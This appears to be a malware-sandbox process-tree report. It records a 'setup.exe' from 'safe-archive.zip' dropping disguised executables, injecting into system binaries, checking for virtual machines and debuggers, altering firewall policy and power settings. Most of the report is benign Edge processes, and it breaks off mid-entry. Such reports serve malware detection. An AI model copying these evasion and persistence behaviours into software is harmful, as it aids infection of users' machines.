  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3476 /prefetch:1
  2⤵
  PID:2156
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3928 /prefetch:1
  2⤵
  PID:3132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5624 /prefetch:1
  2⤵
  PID:4960
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6116 /prefetch:1
  2⤵
  PID:2460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5540 /prefetch:1
  2⤵
  PID:4800
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6896 /prefetch:1
  2⤵
  PID:1680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5504 /prefetch:1
  2⤵
  PID:2988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5992 /prefetch:1
  2⤵
  PID:2964
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6280 /prefetch:1
  2⤵
  PID:4080
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7252 /prefetch:1
  2⤵
  PID:3520
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7548 /prefetch:1
  2⤵
  PID:4800
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6560 /prefetch:1
  2⤵
  PID:548
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8040 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:2492
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=8008 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:844
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\7z2401.msi"
  2⤵
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:2876
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8148 /prefetch:1
  2⤵
  PID:4876
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5488 /prefetch:1
  2⤵
  PID:3860
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6844 /prefetch:1
  2⤵
  PID:4588
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4696 /prefetch:1
  2⤵
  PID:412
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6348 /prefetch:1
  2⤵
  PID:4672
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6232 /prefetch:1
  2⤵
  PID:3172
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6052 /prefetch:1
  2⤵
  PID:3484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7780 /prefetch:1
  2⤵
  PID:1716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5908 /prefetch:1
  2⤵
  PID:3316
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7088 /prefetch:1
  2⤵
  PID:3956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5868 /prefetch:1
  2⤵
  PID:3944
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=6028 /prefetch:8
  2⤵
  PID:1576
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7020 /prefetch:1
  2⤵
  PID:2256
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7032 /prefetch:1
  2⤵
  PID:4524
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=57 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7172 /prefetch:1
  2⤵
  PID:3396
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5856 /prefetch:1
  2⤵
  PID:1388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8208 /prefetch:1
  2⤵
  PID:1008
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7104 /prefetch:1
  2⤵
  PID:5020
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8376 /prefetch:1
  2⤵
  PID:4568
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8048 /prefetch:1
  2⤵
  PID:4240
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8260 /prefetch:1
  2⤵
  PID:1008
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=64 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8992 /prefetch:1
  2⤵
  PID:1032
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=65 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8880 /prefetch:1
  2⤵
  PID:4268
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=66 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3940 /prefetch:1
  2⤵
  PID:4540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=67 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8360 /prefetch:1
  2⤵
  PID:1556
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=68 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4944 /prefetch:1
  2⤵
  PID:3000
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=69 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4612 /prefetch:1
  2⤵
  PID:1056
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=70 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9452 /prefetch:1
  2⤵
  PID:476
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=71 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9504 /prefetch:1
  2⤵
  PID:4580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=72 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9520 /prefetch:1
  2⤵
  PID:1752
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=73 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9624 /prefetch:1
  2⤵
  PID:3796
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=74 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9260 /prefetch:1
  2⤵
  PID:1708
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=75 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8964 /prefetch:1
  2⤵
  PID:2448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=77 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9184 /prefetch:1
  2⤵
  PID:792
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8484 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:424
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=80 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9124 /prefetch:1
  2⤵
  PID:2732

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2020

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3052

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004EC 0x00000000000004E8
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1464

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:840

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5044
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:800

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:836

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4216

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4784

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1404

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2024

C:\Users\Admin\AppData\Local\Temp\Temp1_safe-archive.zip\setup.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_safe-archive.zip\setup.exe"
1⤵
- Modifies firewall policy service
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2992
- C:\Users\Admin\Documents\SimpleAdobe\u437qNcUEEmRGkcsTX57fcXb.exe
  C:\Users\Admin\Documents\SimpleAdobe\u437qNcUEEmRGkcsTX57fcXb.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:2728
- - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:2288
- C:\Users\Admin\Documents\SimpleAdobe\DyT_zIKR9b9avB2QaOsU0Jjb.exe
  C:\Users\Admin\Documents\SimpleAdobe\DyT_zIKR9b9avB2QaOsU0Jjb.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:6124
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:6520
- C:\Users\Admin\Documents\SimpleAdobe\iBefrShWADsAuNAyKJA64YlZ.exe
  C:\Users\Admin\Documents\SimpleAdobe\iBefrShWADsAuNAyKJA64YlZ.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4916
- - C:\Users\Admin\AppData\Local\Temp\is-NUL7H.tmp\iBefrShWADsAuNAyKJA64YlZ.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-NUL7H.tmp\iBefrShWADsAuNAyKJA64YlZ.tmp" /SL5="$20422,5094456,54272,C:\Users\Admin\Documents\SimpleAdobe\iBefrShWADsAuNAyKJA64YlZ.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetWindowsHookEx
    PID:5452
  - - C:\Users\Admin\AppData\Local\Audio Normalizer\audionormalizer32_64.exe
      "C:\Users\Admin\AppData\Local\Audio Normalizer\audionormalizer32_64.exe" -i
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:6976
  - - C:\Users\Admin\AppData\Local\Audio Normalizer\audionormalizer32_64.exe
      "C:\Users\Admin\AppData\Local\Audio Normalizer\audionormalizer32_64.exe" -s
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:7068
- C:\Users\Admin\Documents\SimpleAdobe\R42wU6T6MxPmzVCvyCOtTjfa.exe
  C:\Users\Admin\Documents\SimpleAdobe\R42wU6T6MxPmzVCvyCOtTjfa.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Checks processor information in registry
  - Suspicious use of SetWindowsHookEx
  PID:5984
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\KKFBFCAFCB.exe"
    3⤵
    PID:4448
  - - C:\Users\Admin\AppData\Local\Temp\KKFBFCAFCB.exe
      "C:\Users\Admin\AppData\Local\Temp\KKFBFCAFCB.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      PID:976
    - - C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2084
      - C:\Users\Admin\AppData\Local\Temp\1000022001\01e2b36077.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000022001\01e2b36077.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetWindowsHookEx
        
        PID:5528
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\EHDGIJJDGC.exe"
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:5004
- C:\Users\Admin\Documents\SimpleAdobe\JawJBBgyS9bEy56N8RCGbb_R.exe
  C:\Users\Admin\Documents\SimpleAdobe\JawJBBgyS9bEy56N8RCGbb_R.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:6000
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    PID:6892
- - C:\Windows\system32\powercfg.exe
